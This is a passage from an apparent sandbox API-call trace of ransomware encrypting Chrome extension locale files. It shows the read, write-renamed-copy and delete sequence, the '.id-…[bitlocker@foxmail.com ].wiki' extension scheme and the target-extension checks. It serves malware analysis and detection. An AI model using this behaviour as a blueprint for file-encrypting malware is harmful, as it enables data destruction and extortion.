(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.215] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.215] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.216] GetLastError () returned 0x0 [0173.216] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe0, lpOverlapped=0x0) returned 1 [0173.217] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0173.218] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.218] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.218] SetEndOfFile (hFile=0x198) returned 1 [0173.218] CloseHandle (hObject=0x198) returned 1 [0173.218] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.218] SetEndOfFile (hFile=0x1b4) returned 1 [0173.219] CloseHandle (hObject=0x1b4) returned 1 [0173.219] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.219] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json")) returned 1 [0173.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.219] lstrlenW (lpString=".doc") returned 4 [0173.219] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.219] lstrlenW (lpString=".docx") returned 5 [0173.219] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.219] lstrlenW (lpString=".pdf") returned 4 [0173.219] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.219] lstrlenW (lpString=".xls") returned 4 [0173.220] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.220] lstrlenW (lpString=".xlsx") returned 5 [0173.220] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.220] lstrlenW (lpString=".ppt") returned 4 [0173.220] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString=".zip") returned 4 [0173.220] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.220] lstrlenW (lpString=".rar") returned 4 [0173.220] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.220] lstrlenW (lpString=".bz2") returned 4 [0173.220] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.220] lstrlenW (lpString=".7z") returned 3 [0173.220] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString=".dbf") returned 4 [0173.220] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString=".1cd") returned 4 [0173.220] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString=".jpg") returned 4 [0173.220] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.220] lstrlenW (lpString=".doc") returned 4 [0173.220] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.220] lstrlenW (lpString=".docx") returned 5 [0173.220] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.221] lstrlenW (lpString=".pdf") returned 4 [0173.221] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.221] lstrlenW (lpString=".xls") returned 4 [0173.221] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.221] lstrlenW (lpString=".xlsx") returned 5 [0173.221] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.221] lstrlenW (lpString=".ppt") returned 4 [0173.221] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.221] lstrlenW (lpString=".zip") returned 4 [0173.221] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.221] lstrlenW (lpString=".rar") returned 4 [0173.221] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.221] lstrlenW (lpString=".bz2") returned 4 [0173.221] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.221] lstrlenW (lpString=".7z") returned 3 [0173.221] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.221] lstrlenW (lpString=".dbf") returned 4 [0173.221] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.221] lstrlenW (lpString=".1cd") returned 4 [0173.221] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0173.221] lstrlenW (lpString=".jpg") returned 4 [0173.221] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.430] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.430] lstrlenW (lpString="messages.json") returned 13 [0173.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.430] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=254) returned 1 [0173.430] CloseHandle (hObject=0x19c) returned 1 [0173.430] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json")) returned 0x2020 [0173.430] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.430] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.431] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.431] GetLastError () returned 0x0 [0173.431] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xfe, lpOverlapped=0x0) returned 1 [0173.432] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.433] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.433] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.433] SetEndOfFile (hFile=0x1a0) returned 1 [0173.433] CloseHandle (hObject=0x1a0) returned 1 [0173.433] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.433] SetEndOfFile (hFile=0x19c) returned 1 [0173.434] CloseHandle (hObject=0x19c) returned 1 [0173.434] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.434] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json")) returned 1 [0173.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.435] lstrlenW (lpString=".doc") returned 4 [0173.435] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".docx") returned 5 [0173.435] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.435] lstrlenW (lpString=".pdf") returned 4 [0173.435] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".xls") returned 4 [0173.435] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".xlsx") returned 5 [0173.435] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.435] lstrlenW (lpString=".ppt") returned 4 [0173.435] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.435] lstrlenW (lpString=".zip") returned 4 [0173.435] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".rar") returned 4 [0173.435] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".bz2") returned 4 [0173.435] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.435] lstrlenW (lpString=".7z") returned 3 [0173.436] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString=".dbf") returned 4 [0173.436] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString=".1cd") returned 4 [0173.436] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString=".jpg") returned 4 [0173.436] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString=".doc") returned 4 [0173.436] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.436] lstrlenW (lpString=".docx") returned 5 [0173.436] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.436] lstrlenW (lpString=".pdf") returned 4 [0173.436] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.436] lstrlenW (lpString=".xls") returned 4 [0173.436] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.436] lstrlenW (lpString=".xlsx") returned 5 [0173.436] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.436] lstrlenW (lpString=".ppt") returned 4 [0173.436] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.436] lstrlenW (lpString=".zip") returned 4 [0173.436] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.437] lstrlenW (lpString=".rar") returned 4 [0173.437] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.437] lstrlenW (lpString=".bz2") returned 4 [0173.437] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.437] lstrlenW (lpString=".7z") returned 3 [0173.437] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.437] lstrlenW (lpString=".dbf") returned 4 [0173.437] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.437] lstrlenW (lpString=".1cd") returned 4 [0173.437] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 151 [0173.437] lstrlenW (lpString=".jpg") returned 4 [0173.437] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.437] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.437] lstrlenW (lpString="messages.json") returned 13 [0173.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.438] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=227) returned 1 [0173.438] CloseHandle (hObject=0x19c) returned 1 [0173.438] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json")) returned 0x2020 [0173.438] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.438] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.438] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.439] GetLastError () returned 0x0 [0173.439] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe3, lpOverlapped=0x0) returned 1 [0173.440] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0173.441] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.441] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.441] SetEndOfFile (hFile=0x1a0) returned 1 [0173.441] CloseHandle (hObject=0x1a0) returned 1 [0173.441] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.441] SetEndOfFile (hFile=0x19c) returned 1 [0173.442] CloseHandle (hObject=0x19c) returned 1 [0173.442] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.442] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json")) returned 1 [0173.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.442] lstrlenW (lpString=".doc") returned 4 [0173.442] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.442] lstrlenW (lpString=".docx") returned 5 [0173.442] lstrcmpiW 